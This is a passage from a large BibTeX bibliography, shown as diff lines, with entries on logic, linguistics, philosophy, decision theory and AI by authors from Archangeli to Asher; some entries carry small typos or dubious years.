{psycholinguistics;nl-comprehension-psychology;} + } + +@article{ archangeli:1988a, + author = {Diana Archangeli}, + title = {Aspects of Underspecification Theory}, + journal = {Phonology}, + year = {1988}, + volume = {5}, + pages = {183--207}, + missinginfo = {number}, + topic = {phonology;underspecification-theory;} + } + +@book{ ard:1977a, + author = {William Josh Ard}, + title = {Methodological Problems in The Use of Typologies in + Diachronic Syntax}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {historical-linguistics;linguistic-typology;} + } + +@article{ ardeshir:1999a, + author = {Mohammed Ardeshir}, + title = {A Translation of Intuitionistic Predicate Logic into + Basic Predicate Logic}, + journal = {Studia Logica}, + year = {1999}, + volume = {62}, + number = {2}, + pages = {331--352}, + topic = {intuitionistic-logic;} + } + +@article{ areces-etal:2001a, + author = {Carlos Areces and Patrick Blackburn and Maarten Marx}, + title = {Hybrid Logics: Characterization, Interpolation, and + Complexity}, + journal = {Journal of Symbolic Logic}, + year = {2001}, + volume = {66}, + number = {3}, + pages = {977--1010}, + topic = {modal-logic;hybrid-modal-logics;} + } + +@incollection{ arens-etal:1992a, + author = {V. Arens and Robert Dale and Stephen Kerpedjiev and Kathleen + R. McKeown and Oliviero Stock and Wolfgang Wahlster}, + title = {Panel Statements on: Extending Language Generation to + Multiple Media}, + booktitle = {Proceedings of the Sixth International Workshop on + Natural Language Generation, Trento, Italy}, + year = {1992}, + editor = {Robert Dale and Eduard Hovy and Dieter Roesner and + Oliviero Stock}, + publisher = {Springer-Verlag}, + pages = {277--292}, + address = {Berlin}, + topic = {nl-generation;multimedia-generation;} +} + +@article{ arens-etal:1993a, + author = {V. Arens and C.Y. Chee and C.N. Hsu and C.A. Knoblock}, + title = {Retrieving and Integrating Data from Multiple Information + Sources}, + journal = {International Journal on Intelligent and Cooperative + Information Systems}, + year = {1993}, + volume = {2}, + number = {2}, + pages = {45--88}, + missinginfo = {A's 1st name}, + topic = {knowledge-integration;distributed-databases;} + } + +@inproceedings{ aretoulaki-ludwig:1999a, + author = {Maria Aretoulaki and Bernd Ludwig}, + title = {Automation-Descriptions and Theorem-Proving: A + Marriage Made in Heaven?}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Knowledge and Reasoning in Practical Dialogue + Systems}, + year = {1999}, + editor = {Jan Alexandersson}, + pages = {9--16}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {finite-state-automata;theorem-proving; + computational-dialogue;} + } + +@inproceedings{ argamon-etal:1998a, + author = {Shlomo Argamon and Ido Dagan and Yuval Krymolowski}, + title = {A Memory-Based Approach Learning Shallow Natural Language + Patterns}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {67--73}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {machine-language-learning;} + } + +@article{ argamonengenson-etal:1998a, + author = {Shlomo Argamon-Engenson and Sarit Kraus and Sigalit Sina}, + title = {Utility-Based On-Line Exploration for Repeated + Navigation in an Embedded Graph}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {101}, + number = {1--2}, + pages = {267--284}, + topic = {utlity-based-search;route-planning;} + } + +@book{ argyle:1975a, + author = {Michael Argyle}, + title = {Bodily Communication}, + publisher = {Methuen}, + year = {1975}, + address = {London}, + ISBN = {041667450X}, + topic = {facial-expression;gestures;} + } + +@book{ argyle:1975b, + author = {Michael Argyle}, + title = {The Anatomy of Relationships: And the Rules and Skills + Needed to Manage Them Successfully}, + publisher = {Methuen}, + year = {1975}, + address = {London}, + ISBN = {041667450X}, + topic = {social-psychology;interpersonal-reasoning;} + } + +@book{ argyle-cook_m:1976a, + author = {Michael Argyle and Mark Cook}, + title = {Gaze and Mutual Gaze}, + publisher = {Cambridge University Press}, + address = {Cambridge}, + year = {1976}, + ISBN = {0521208653}, + topic = {gaze;mutuality;discourse;} + } + +@book{ argyle-trower:1979a, + author = {Michael Argyle and Peter Trower}, + title = {Person to Person: Ways of Communicating}, + publisher = {Harper and Row}, + year = {1979}, + address = {New York}, + ISBN = {0063847469}, + topic = {gestures;interpersonal-communication;} + } + +@book{ argyle:1985a, + author = {Michael Argyle}, + title = {The Anatomy of Relationships: And the Rules and Skills + Needed to Manage Them Successfully}, + publisher = {Heinemann}, + year = {1985}, + address = {London}, + ISBN = {0434025003}, + topic = {interpersonal-communication;} + } + +@book{ argyle:1991a, + author = {Michael Argyle}, + title = {Cooperation, the Basis of Sociability}, + publisher = {Routledge}, + year = {1991}, + address = {London}, + ISBN = {0415035457}, + topic = {cooperation;social-psychology;} + } + +@book{ argyle:1992a, + author = {Michael Argyle}, + title = {The Social Psychology of Everyday Life}, + publisher = {Routledge}, + year = {1992}, + address = {London}, + ISBN = {0415010713}, + topic = {social-psychology;} + } + +@article{ arieli-avron:1996a, + author = {Ofer Arieli and Arnon Avron}, + title = {Reasoning With Logical Bilattices}, + journal = {Journal of Logic, Language, and Information}, + year = {1996}, + volume = {5}, + number = {1}, + pages = {25--63}, + topic = {relevance-logic;bilattices;} + } + +@article{ arieli-avron:1998a, + author = {Ofer Arieli and Arnon Avron}, + title = {The Value of the Four Values}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {102}, + number = {1}, + pages = {97--141}, + topic = {bilattices;reasoning-about-uncertainty;paraconsistency; + preferential-semantics;} + } + +@book{ aristotle-categoriesanddeint:bc, + author = {Aristotle}, + title = {Categories and De Interpretatione}, + publisher = {Oxford University Press}, + year = {1963}, + address = {Oxford}, + note = {Translated with notes by J.L. Ackrill.}, + topic = {philosophy-classics;logic-classics;} + } + +@misc{ aristotle-deanima:bc, + author = {Aristotle}, + title = {De Anima}, + topic = {philosophy-classics;} + } + +@book{ aristotle-deint:bc, + author = {Aristotle}, + title = {Peri Hermeneias}, + publisher = {Akademie-Verlag}, + year = {1994}, + address = {Oxford}, + note = {Translated with interpretation by Hermann Weidemann.}, + xref = {Reviews: gaskin:1996a, frede_d:1998a.}, + ISBN = {3050019190}, + topic = {philosophy-classics;logic-classics; + future-contingent-propositions;} + } + +@misc{ aristotle-metaphysics:bc, + author = {Aristotle}, + title = {Metaphysics}, + topic = {philosophy-classics;} + } + +@misc{ aristotle-nicomacheanethics:bc, + author = {Aristotle}, + title = {Nicomachean Ethics}, + topic = {philosophy-classics;ethics;} + } + +@misc{ aristotle-physics:bc, + author = {Aristotle}, + title = {Physics}, + topic = {philosophy-classics;} + } + +@misc{ aristotle-posterioranalytics:bc, + author = {Aristotle}, + title = {Posterior Analytics}, + topic = {philosophy-classics;} + } + +@misc{ aristotle-prioranalytics:bc, + author = {Aristotle}, + title = {Prior Analytics}, + topic = {philosophy-classics;} + } + +@unpublished{ arjab:1987a, + author = {Bijan Arjab}, + title = {A Formal Language for Representation and Reasoning about + Indirect Context}, + year = {1987}, + note = {Unpublished manuscript, Computer Science Department, + UCLA.}, + topic = {propositional-attitudes;intensionality;hyperintensionality;} + } + +@incollection{ arlocosta-shapiro:1992a, + author = {Horacio Arlo-Costa and Scott Shapiro}, + title = {Maps between Nonmonotonic Logic and Conditional Logic}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {553--564}, + address = {San Mateo, California}, + topic = {kr;nonmonotonic-logic;conditionals;kr-course;} + } + +@article{ arlocosta-levi_i:1996a, + author = {Horacio Arl\'o-Costa and Isaac Levi}, + title = {Two Notions of Epistemic Validity}, + journal = {Synth\'ese}, + year = {1996}, + volume = {109}, + pages = {217--262}, + topic = {probability-semantics;} + } + +@unpublished{ arlocosta:1997a, + author = {Horacio Arl\'o-Costa}, + title = {Belief Revision Conditionals: Basic Iterated Systems}, + year = {1997}, + note = {Unpublished manuscript, Department of Philosophy, Carnegie + Mellon University}, + topic = {belief-revision;conditionals;} + } + +@inproceedings{ arlocosta-bicchieri:1998a, + author = {Horacio Arlo-Costa and Cristina Bicchieri}, + title = {Games and Conditionals}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {187--200}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {reasoning-about-knowledge;epistemic-logic; + foundations-of-game-theory;conditionals;} + } + +@unpublished{ arlocosta-parikh:1998a, + author = {Horacio Arlo-Costa}, + title = {On the Inadequacy of (C2)}, + year = {1998}, + note = {Unpublished manuscript.}, + topic = {conditionals;belief-revision;} + } + +@article{ arlocosta:1999a, + author = {Horacio Arl\'{o}-Costa}, + title = {Belief Revision Conditionals: Basic Iterated Systems}, + journal = {Annals of Pure and Applied Logic}, + year = {1999}, + volume = {96}, + pages = {3--28}, + missinginfo = {number}, + topic = {conditionals;belief-revision;} + } + +@incollection{ arlocosta:1999b, + author = {Horacio Arl\'o Costa}, + title = {Epistemic Context, Defeasible + Inference, and Conversational Implicature}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {15--27}, + address = {Berlin}, + topic = {context;autoepistemic-logic;implicature;} + } + +@inproceedings{ arlocosta:1999c, + author = {Horacio Arl\'o-Costa}, + title = {Qualitative and Probabilistic Models of Full Belief}, + booktitle = {Proceedings of Logic Colloquim'98 } , + year = {1999}, + editor = {S. Buss and P.H\'ajek and P. Pudl\'ak}, + publisher = {Association of Symbolic Logic and A. K. Peters}, + missinginfo = {pages, address}, + topic = {belief;probability;} + } + +@incollection{ arlocosta-parikh:1999a, + author = {Horacio Arlo-Costa and Rohit Parikh}, + title = {Two Place Probabilities, Full Belief and Belief Revision}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {1--6}, + address = {Amsterdam}, + topic = {primitive-conditional-probability;} + } + +@inproceedings{ arlocosta:2000a, + author = {Horacio Arl\'o-Costa}, + title = {Hypothetical Revision and Matter-of-Fact Supposition}, + booktitle = {Eighth International Workshop on Non-Monotonic Reasoning + (NMR'2000). Special Session, {\em Belief Change, Theory and + Practice}}, + year = {2000}, + note = {Computer Research Repository, Los Alamos e-Print Archive, + ACM and NCSTRL}, + topic = {belief-revision;} + } + +@article{ arlocosta:2000b, + author = {Horacio Arlo-Costa}, + title = {Review of {\it Epistemic Logic and the Theory of Games and + Decisions}, edited by M.O.L. Bacharach and L.A. G\'erard-Varet and + P. Mongin and H.S. Shin}, + journal = {Studia Logica}, + year = {2000}, + volume = {64}, + number = {3}, + pages = {431--435}, + xref = {Review of bacharach-etal:1997a.}, + topic = {epistemic-logic;game-theory;decision-theory;} + } + +@unpublished{ arlocosta:2000c, + author = {Horacio Arl\'o-Costa}, + title = {Bayesian Epistemology and Conditionals: The Role of the + Export-Import Laws}, + year = {2000}, + month = {May}, + note = {Unpublished manuscript, Philosophy Department, Carnegie + Mellon University.}, + topic = {conditionals;} + } + +@unpublished{ arlocosta-parikh:2000a, + author = {Horacio Arl\'o-Costa and Rohit Parikh}, + title = {Two place Probabilities, Beliefs and Belief Revision}, + year = {2000}, + note = {Unpublished manuscript, Philosophy Department, Carnegie + Mellon University. See \cite{arlocosta-parikh:1999a} for an + extended abstract.}, + } + +@incollection{ arlocosta:2001a, + author = {Horacio Arlo-Costa}, + title = {Trade-Offs between Inductive Power and Logical Omniscience + in Modeling Context}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {1--14}, + address = {Berlin}, + topic = {bounded-agents;hyperintensionality;} + } + +@article{ arlocosta:2001b, + author = {Horacio L. Arlo-Costa}, + title = {Review of {\it Defeasible Deontic Logic}, edited by + {D}onald {N}ute}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {1}, + pages = {129--139}, + xref = {Review of nute:1997a.}, + topic = {deontic-logic;nonmonotonic-logic;} + } + +@article{ arlocosta:2001c, + author = {Horacio Arl\'o-Costa}, + title = {Bayesian Epistemology and Epistemic Conditionals: + On the Status of the Export-Import Laws}, + journal = {The Journal of Philosophy}, + year = {2001}, + volume = {98}, + number = {11}, + pages = {555--593}, + topic = {conditionals;probability-kinematics;} + } + +@article{ arlocosta-thomason:2001a, + author = {Horacio Arl\'o-Costa and Richmond H. Thomason}, + title = {Iterative Probability Kinematics}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {5}, + pages = {479--524}, + topic = {foundations-of-probability;;primitive-conditional-probability; + nonstandard-probability;probability-kinematics;} + } + +@article{ arlocosta:2002a, + author = {Horacio Arl\'o Costa}, + title = {First Order Extensions of Classical Systems of Modal Logic. + The ROle of the {B}arcan Schemas}, + journal = {Studia Logica}, + year = {2002}, + volume = {71}, + number = {1}, + pages = {87--118}, + topic = {modal-logic;epistemic-logic;} + } + +@article{ arlocosta-segerberg:forthcominga, + author = {Horacio Arl\'{o}-Costa and Krister Segerberg}, + title = {Conditionals and Hypothetical Belief Revision (Abstract)}, + journal = {Theoria}, + missinginfo = {year, volume, number,pages}, + note = {forthcoming}, + topic = {conditionals;belief-revision;} + } + +@inproceedings{ armado-ranise:1998a, + author = {Alessandro Armado and Silvio Ranise}, + title = {From Integrated Reasoning Specialists to `Plug and Play' + Reasoning Components}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {42--54}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {hybrid-kr-architectures;combining-systems;} + } + +@article{ armendt:1986a, + author = {Brad Armendt}, + title = {A Foundation for Causal Decision Theory}, + journal = {Topoi}, + year = {1986}, + volume = {5}, + pages = {3--19}, + missinginfo = {number}, + topic = {causal-decision-theory;} + } + +@incollection{ armendt:1988a, + author = {Brad Armendt}, + title = {Conditional Preference and Causal Expected Utility}, + booktitle = {Causation in Decision, Belief Change, and Statistics, + Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + editor = {William L. Harper and Brian Skyrms}, + pages = {3--24}, + address = {Dordrecht}, + topic = {preference;qualitative-utility;causal-decision-theory;} + } + +@inproceedings{ armendt:1992a, + author = {Brad Armendt}, + title = {Dutch Strategies for Diachronic Rules: When Believers See + the Sure Loss Coming}, + booktitle = {{PSA} 1992: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Volume 1}, + year = {1992}, + editor = {David Hull and Micky Forbes and Kathleen Okruhlik}, + pages = {217--229}, + organization = {Philosophy of Science Association}, + publisher = {Philosophy of Science Association}, + address = {East Lansing, Michigan}, + topic = {probability-kinematics;} + } + +@article{ armendt:1993a, + author = {Brad Armendt}, + title = {Dutch Books, Additivity, and Utility}, + journal = {Philosophical Topics}, + year = {1994}, + volume = {21}, + number = {1}, + pages = {1--20}, + topic = {decision-theory;Dutch-book-argument;foundations-of-utility;} + } + +@book{ armstrong_df-etal:1995a, + author = {David F. Armstrong and William C. Stokoe and + Sherman E. Wilcox}, + title = {Gesture and the Nature of Language}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + ISBN = {0521462134}, + topic = {gesture;} + } + +@book{ armstrong_df:1999a, + author = {David F. Armstrong}, + title = {Original Signs: Gesture, Sign, and the Sources of Language}, + publisher = {Galludet University Press}, + year = {1999}, + address = {Washington}, + ISBN = {1563680750}, + topic = {gestures;} + } + +@article{ armstrong_dm:1970a, + author = {David M. Armstrong}, + title = {Meaning and Communication}, + journal = {The Philosophical Review}, + year = {1970}, + volume = {80}, + pages = {427--447}, + topic = {speaker-meaning;} + } + +@article{ armstrong_dm:1971a, + author = {David Malet Armstrong}, + title = {Meaning and Communication}, + journal = {The Philosophical Review}, + year = {1971}, + volume = {80}, + pages = {427--447}, + topic = {speaker-meaning;} + } + +@book{ armstrong_dm:1983a, + author = {David Malet Armstrong}, + title = {What Is a Law of Nature?}, + publisher = {Cambridge University Press}, + year = {1983}, + address = {Cambridge}, + ISBN = {0521253438}, + topic = {natural-laws;dispositions;} + } + +@incollection{ armstrong_dm:1993a, + author = {David Malet Armstrong}, + title = {A World of States of Affairs}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {429--440}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {metaphysics;philosophical-realism;property-theory; + philosophical-ontology;} + } + +@book{ armstrong_dm:1997a, + author = {David M. Armstrong}, + title = {A World of States of Affairs}, + publisher = {Cambridge University Press}, + year = {1997}, + address = {Cambridge, England}, + xref = {Review: oliver_a:1998a.}, + topic = {metaphysics;philosophical-realism;property-theory; + philosophical-ontology;} + } + +@book{ armstrong_dm:1999a, + author = {David Malet Armstrong}, + title = {The Mind-Body Problem: An Opinionated Introduction}, + publisher = {Westview Press}, + year = {1999}, + address = {Boulder, Colorado}, + ISBN = {0813390567 (hardcover)}, + topic = {philosophy-of-mind;mind-body-problem;} + } + +@article{ armstrong_dm:2001a, + author = {David M. Armstrong}, + title = {Review of {\em Papers in Metaphysics and Epistemology,} + by {D}avid {K}. {L}ewis}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {1}, + pages = {77--79}, + xref = {Review of lewis_dk:1999a.}, + topic = {metaphysics;epistemplogy;} + } + +@book{ armstrong_s:1994a, + editor = {Susan Armstrong}, + title = {Using Large Corpora}, + publisher = {The {MIT} Press}, + year = {1949}, + address = {Cambridge, Massachusetts}, + topic = {corpus-linguistics;} + } + +@book{ armstrong_s:1999a, + editor = {Susan Armstrong}, + title = {Natural Language Processing Using Very Large Corpora}, + publisher = {Kluwer Academic Publishers}, + year = {1999}, + address = {Dordrecht}, + ISBN = {0792360559 (hb)}, + topic = {corpus-linguistics;} + } + +@incollection{ armstrongwarwic:1994a, + author = {Susan Armstrong-Warwic}, + title = {Acquisition and Exploitation of + Textual Resources for {NLP}}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {451--465}, + address = {Pisa and Dordrecht}, + topic = {corpus-linguistics;} + } + +@book{ arnauld-nicole:1662a2, + author = {A. Arnauld and P. Nicole}, + title = {Logic, or the Art of Thinking}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + note = {First published in 1662. Translated and edited by J.V. + Buroker.}, + topic = {logic-classic;foundations-of-semantics;} + } + +@book{ arnold_dj-etal:1994a, + author = {D.J. Arnold and L. Balkan and R. Lee Humphreys and S. + Meijer and L. Sadler}, + title = {Machine Translation: An Introductory Guide}, + publisher = {Blackwell Publishers}, + year = {1994}, + address = {Oxford}, + ISBN = {1-85554-246-3 (hardbound), 1-85554-217-X (pbk)}, + xref = {Review: heizmann:1995a.}, + topic = {machine-translation;} + } + +@article{ arnon:1988a, + author = {Dennis S. Arnon}, + title = {Geometric Reasoning with Logic and Algebra}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {37}, + number = {1--3}, + pages = {37--60}, + topic = {geometrical-reasoning;} + } + +@incollection{ arom:1994a, + author = {Simha Arom}, + title = {Intelligence in Traditional Music}, + booktitle = {What is Intelligence?}, + publisher = {Cambridge University Press}, + year = {1994}, + editor = {Jean Khalfa}, + pages = {137--160}, + address = {Cambridge, England}, + topic = {musicology;} + } + +@techreport{ aronis:1993a, + author = {John M. Aronis}, + title = {Implementing Inheritance on the Connection Machine}, + institution = {Intelligent Systems Program, University of Pittsburgh}, + number = {ISP 93-1}, + year = {1993}, + address = {Pittsburgh, PA 15260}, + topic = {inheritance-theory;parallel-processing;} + } + +@unpublished{ aronis-provost:1995a, + author = {John M. Aronis and Foster J. Provost}, + title = {Efficiently Constructing Relational Features from Background + Knowledge for Inductive Machine Learning}, + year = {1959}, + note = {Unpublished MS, Computer Science Department, University of + Pittsburgh.}, + missinginfo = {Date is guess.}, + topic = {machine-learning;inheritance;relational-reasoning;} + } + +@phdthesis{ aronoff:1974a, + author = {Mark Aronoff}, + title = {Word-Structure}, + school = {Linguistics Department, Massachusetts Institute of + Technology}, + year = {1974}, + type = {Ph.{D}. Dissertation}, + address = {Cambridge, Massachusetts}, + topic = {morphology;} + } + +@book{ aronoff:1976a, + author = {Mark Aronoff}, + title = {Word Formation in Generative Grammar}, + publisher = {The {MIT} Press}, + year = {1976}, + address = {Cambridge, Massachusetts}, + topic = {morphology;} + } + +@book{ aronoff-etal:1984a, + editor = {Mark Aronoff and Richard Oehrle + and Frances Kelley and Bonnie Wilker Stephens}, + title = {Language Sound Structure: Studies in Phonology}, + publisher = {The {MIT} Press}, + year = {1984}, + address = {Cambridge, Massachusetts}, + ISBN = {0262010747}, + topic = {phonology;} + } + +@book{ aronoff:1993a, + author = {Mark Aronoff}, + title = {Morphology by Itself}, + publisher = {The {MIT} Press}, + year = {1993}, + address = {Cambridge, Massachusetts}, + topic = {morphology;} + } + +@article{ arrow:1959a, + author = {Kenneth J. Arrow}, + title = {Rational Choice Functions and Orderings}, + journal = {Econometrica}, + year = {1959}, + volume = {26}, + pages = {121--127}, + contentnote = {Arrow's theorem.}, + missinginfo = {number}, + topic = {welfare-economics;social-choice-theory;} + } + +@book{ arrow:1963a, + author = {Kenneth J. Arrow}, + edition = {2}, + title = {Social Choice and Individual Values}, + publisher = {John Wiley and Sons}, + year = {1963}, + address = {New York}, + topic = {social-choice-theory;} +} + +@incollection{ arrow:1972a, + author = {Kenneth J. Arroww}, + title = {Exposition of the Theory of Choice Under Conditions of + Uncertainty}, + booktitle = {Decision and Organization}, + publisher = {North Holland}, + year = {1972}, + editor = {C.B. McGuire and R. Radner}, + pages = {19--55}, + address = {Amsterdam}, + topic = {decision-theory;} + } + +@book{ arrow:1974a, + author = {Kenneth J. Arrow}, + title = {The Limits of Organization}, + publisher = {Norton}, + year = {1974}, + address = {New York}, + topic = {theory-of-orgaanizatioons;} + } + +@book{ arrow-raynaud:1986a, + author = {Kenneth J. Arrow and H. Raynaud}, + title = {Social Choice and Multicriterion Decision-Making}, + publisher = {The {MIT} Press}, + year = {1986}, + address = {Cambridge, Massachusetts}, + topic = {social-choice-theory;multiattribute-utility;} + } + +@incollection{ artale-franconi:1994a, + author = {Alessandro Artale and Enrico Franconi}, + title = {A Computational Account for a Description Logic of Time + and Action}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {3--14}, + address = {San Francisco, California}, + topic = {kr;taxonomic-logics;temporal-reasoning;action-formalisms; + kr-course;} + } + +@inproceedings{ artale-etal:1997a, + author = {Alessandro Artale and Bernardo Magnini and Carlo + Strapparava}, + title = {Lexical Discrimination with the {I}talian Version of + {W}ord{N}et}, + booktitle = {Proceedings of the {ACL}/{EACL} Workshop on Automatic + Extraction and Building of Lexical Semantic Resources for + Natural Language Applications}, + year = {1997}, + editor = {Piek Vossen and Geert Adriaens and Nicoletta Calzolari + and Antonio Sanfilippo and Yorick Wilks}, + publisher = {Association for Computational Linguistics}, + address = {New Brunswick, New Jersey}, + missinginfo = {pages}, + topic = {wordnet;Italian-language;disambiguation;} + } + +@inproceedings{ artale-etal:1997b, + author = {Alessandro Artale and Bernardo Magnini and Carlo Strapparava}, + title = {{W}ord{N}et for {I}talian and its Use for Lexical Discrimination}, + booktitle = {Proceedings of the 5th Congresso della {A}ssociazione + {I}taliana per l'{I}ntelligenza {A}rtificiale}, + year = {1997}, + missinginfo = {publisher, editor, pages}, + topic = {wordnet;lexical-disambiguation;Italian-language;} + } + +@inproceedings{ artemov:1990a, + author = {Sergei M. Artemov}, + title = {Kolmogorov's Logic of Problems and a Provability + Interpretation of Intuitionistic Logic}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {257--272}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {intuitionistic-logic;} + } + +@article{ artemov:2000a, + author = {Sergei N. Artemov}, + title = {Explicit Provability and Constructive Semantics}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {7}, + number = {1}, + pages = {1--36}, + xref = {Review: avigad:2002a.}, + topic = {provability-logic;} + } + +@incollection{ artosi-etal:1990a, + author = {Alberto Artosi and Paola Benassi and Guido GOvernatori + and Antonio Rotolo}, + title = {Shakespearian Modal Logic: A Labeled + Treatment of Modal Identity}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {1--21}, + address = {Stanford, California}, + topic = {modal-logic;identity;} + } + +@incollection{ artosi-etal:1996a, + author = {Alberto Artosi and Paola Benassi and Guido Governatori + and Antonino Rotolo}, + title = {Labelled Proofs for Quantified Modal Logic}, + booktitle = {Logics in Artificial Intelligence: European Workshop, + {Jelia}'96, Ivora, Portugal, September 30 - October 3, + 1996.}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira and Ewa Orlowska}, + pages = {70--86}, + address = {Berlin}, + topic = {modal-logic;theorem-proving;} + } + +@article{ arvon:1992a, + author = {Arnon Arvon}, + title = {Whither Relevance Logic?}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {3}, + pages = {243--281}, + topic = {relevance-logic;} + } + +@article{ arzigonczarowski-lehmann:1998a, + author = {Z. Arzi-Gonczarowski and Daniel Lehmann}, + title = {From Environments to Representations---A Mathematical + Theory of Artificial Perceptions}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {102}, + number = {2}, + pages = {187--247}, + topic = {logic-of-perception;cognitive-robotics;} + } + +@article{ asada-etal:1999a, + author = {Minoru Asada and Hiroaki Kitano and Itsuki Noda and + Manuela Veloso}, + title = {{R}obo{C}up Today and Tomorrow---What We Have Learned}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {110}, + number = {2}, + pages = {193--214}, + topic = {robotics;RoboCup;} + } + +@article{ asada-etal:1999b, + author = {Minoru Asada and Eiji Uchibe and Koh Hosoda}, + title = {Cooperative Behavior Acquisition for Mobile + Robots in Dynamically Changing real Worlds Via + Vision-Based Reinforcement Learning and Development}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {110}, + number = {2}, + pages = {275--292}, + topic = {multiagent-learning;RoboCup;visual-reasoning;} + } + +@article{ asada-etal:2000a, + author = {Minoru Asada and Manuela M Veloso and Miland Tambe and + Itsuki Noda and Hiroaki Kitano and Gerard K. kraetzschmar}, + title = {Overview of {R}obo{C}up-98}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {1}, + pages = {9--19}, + topic = {robotics;RoboCup;} + } + +@book{ ash-knight_jf:2000a, + author = {Chris Ash and Julia F. Knight}, + title = {Computatble Structures and the Hyperarithmetical Hierarchy}, + publisher = {Elservier Publishing Co.}, + year = {2000}, + address = {Amsterdam}, + xref = {Review: harizanov:2000a.}, + topic = {hyperarithmetical-hierarchy;computable-model-theory;} + } + +@article{ ash_d-hayesroth_b:1996a, + author = {David Ash and Barbara Hayes-Roth}, + title = {Using Action-Based Hierarchies for Real-Time Diagnosis}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {88}, + number = {1--2}, + pages = {317--347}, + acontentnote = {Abstract: + An intelligent agent diagnoses perceived problems so that it can + respond to them appropriately. Basically, the agent performs a + series of tests whose results discriminate among competing + hypotheses. Given a specific diagnosis, the agent performs the + associated action. Using the traditional information-theoretic + heuristic to order diagnostic tests in a decision tree, the + agent can maximize the information obtained from each successive + test and thereby minimize the average time (number of tests) + required to complete a diagnosis and perform the appropriate + action. However, in real-time domains, even the optimal + sequence of tests cannot always be performed in the time + available. Nonetheless, the agent must respond. For agents + operating in real-time domains, we propose an alternative + action-based approach in which: (a) each node in the diagnosis + tree is augmented to include an ordered set of actions, each of + which has positive utility for all of its children in the tree; + and (b) the tree is structured to maximize the expected utility + of the action available at each node. Upon perceiving a + problem, the agent works its way through the tree, performing + tests that discriminate among successively smaller subsets of + potential faults. When a deadline occurs, the agent performs + the best available action associated with the most specific node + it has reached so far. Although the action-based approach does + not minimize the time required to complete a specific diagnosis, + it provides positive utility responses, with step-wise + improvements in expected utility, throughout the diagnosis + process. We present theoretical and empirical results + contrasting the advantages and disadvantages of the + information-theoretic and action-based approaches. + } , + topic = {diagosis;reactive-plannng;limited-rationality;decision-trees; + heuristics;} + } + +@book{ ashby:1970a, + author = {William Ross Ashby}, + title = {An introduction to cybernetics.}, + publisher = {Ohio State University Press}, + year = {1970}, + address = {Columbus}, + ISBN = {1127197703}, + topic = {AI-classics;} + } + +@article{ asher-bonevac:1985a, + author = {Nicholas Asher and Daniel Bonevac}, + title = {How Extensional Is Entensional Perception?}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {2}, + pages = {203--228}, + topic = {logic-of-perception;} + } + +@article{ 